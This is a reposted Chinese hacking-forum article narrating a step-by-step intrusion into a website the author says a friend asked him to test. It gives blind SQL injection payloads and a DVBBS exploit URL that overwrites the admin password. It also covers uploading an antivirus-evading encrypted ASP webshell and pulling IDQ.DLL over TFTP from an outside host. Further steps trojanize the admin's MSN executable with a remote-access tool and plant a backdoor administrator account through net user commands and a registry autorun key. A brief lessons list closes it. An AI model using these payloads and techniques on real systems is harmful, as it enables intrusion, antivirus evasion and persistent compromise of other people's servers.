[转载] 帮朋友测试网站安全的一次渗透入侵 全过程 朋友

keylong

帮朋友测试网站安全的一次渗透入侵 全过程


文章录入：浣花溪    责任编辑：snow  367  
【字体：小 大】

我朋友给呢我一个网站让我看看它的安全性，打开URL粗粗的看呢一下，估计是2000的系统(为什么?看到呢asp嘛）。然后就用X-SCAN扫呢一遍，一个漏洞也没有(包括WEBDAVX和DRPC)估计是打呢SP4加DRPC的补丁，唯一的好消息是端口开的很多的[139.445.135.80]，看样子是没有进行端口过滤或者没有安装防火墙在或者就是一个蜜罐^_^。

再首页上看到呢一个新闻发布系统，随便的在后面加呢一个 1=1 1=2，从返回的信息来看有SQL INJECTION的漏洞。先查查表的情况如下：
0<>(select%20count(*)%20from%20admin)
0<>(select%20count(*)%20from%20admin%20where%20username%20<>'')
0<>(select%20count(*)%20from%20admin%20where%20passwd%20<>'')
哈哈，是一个比较常见的表，我从前台看到呢管理员的用户名为root
提交如下：
'root'=(select%20username%20from%20admin%20where%20len(passwd)=8)
显示错误再提交：
'root'=(select%20username%20from%20admin%20where%20len(passwd)=16)
显示成功
现在到呢郁闷的时候呢，密码肯定是加密过的有16位，就是一位一位的猜到也没有什么用，就放弃呢猜。

[小技巧：在跨表子查询的时候可以试试or，比如你的第一个条件肯定为假的情况下用or的效果就出来呢，比如：
0 or 1 =1 返回原来的页面
0 or 0 =0 提示数据库找不到资料]

再看看这个网站上还有什么好利用的，呵呵有一个动网论坛,大家多看过PSKEY写的《绝对背后的微笑-再谈DVBBS漏洞》吧，通过在cookie中构造membername请求logout.asp来猜密码。然后就运行呢exploit得到呢前台管理员admin登陆后台的用户名.ID和相应的MD5值，用COOKIE修改器修改呢自己的COOKIE，关掉当前窗口。新开页面访问论坛，我已经是管理员呢，提交admin_recycle.asp?action=还原&topicid='%20where%20id%20in%20(9&tablename=admin%20set%20[password]='ef7813118e77b0ee',lastloginip='bbs
把后台管理员的密码改掉，此时，可以进后台呢~~~。登陆进去后当然把上传设置改一下啊，上传呢一个ASP的木马aspcmd.asp

[aspcmd.asp被我用screnc加密过呢不会被查杀。顺便说一下：把海阳顶端asp木马xp.net加密过后NORTON.瑞星多查不出来呢，而KV2004却可以查出来，估计KV2004认定的病毒码是一串中文字符串,希望哪位知道的告诉我一下]。

运行呢一下命令，OK，得到呢一个WEB
SHELL。本来想用NC的反弹连接呢，可是上传后DIR一看没有，估计是被杀毒软件给KILL呢接着就TFTP
-I IP GET
IDQ.DLL拉，然后COPY到SCRIPTS目录下（这是管理员的失误，目录的权限没有设置好）
用ISPC连一下显示成功，本来以为GAME OVER呢，NET USER MM MM
/ADD一看，拒绝访问。权限不够，怎么办呢，就想到呢替换服务器上的开机自启动程序或者服务。查看呢一下系统的服务，发现没有什么好利用的[权限问题]，然后上传呢一个REG
查询:
reg query
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
拒绝访问。

好象没有办法呢，又在网上找呢些提升2K[SP4]权限的东东，没有找到。准备放手呢，无聊的在硬盘上用DIR看一些目录。忽然发现呢一个有趣的目录D:\Program
Files\MSN
Messenger\msnmsgr.exe，哈哈，管理员还有这爱好在服务器上用MSN.先看看有没有写的权限，GOOD，有，可以在这个msnmsgr.exe上动手脚呢。把MSNCOPY到WEB目录下载到本地，用我改造过的冰河和它打包一下再上传。等待管理员用MSN把^_^
几天后用我的冰河客户端一连：OK，GAME OVER

先CA，在用VBS留个帐号不死的后门把net user guest *** /add net
localgroup administrators /add
~~~在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command
Processor 把VBS的目录导入
对这次入侵的总结：
1：目录的权限设置不好
2：没有把FSO改名或者DEL
3：没有进行端口过滤或者防火墙
4：服务器上最好不要用一些非必须的软件比如MSN/QQ
5：系统的补丁是最新的呢，还要保证服务器上的其它应用软件是最新的



摘自红色黑客联盟(www.7747.net) 原文：http://www.7747.net/Article/201004/46800.html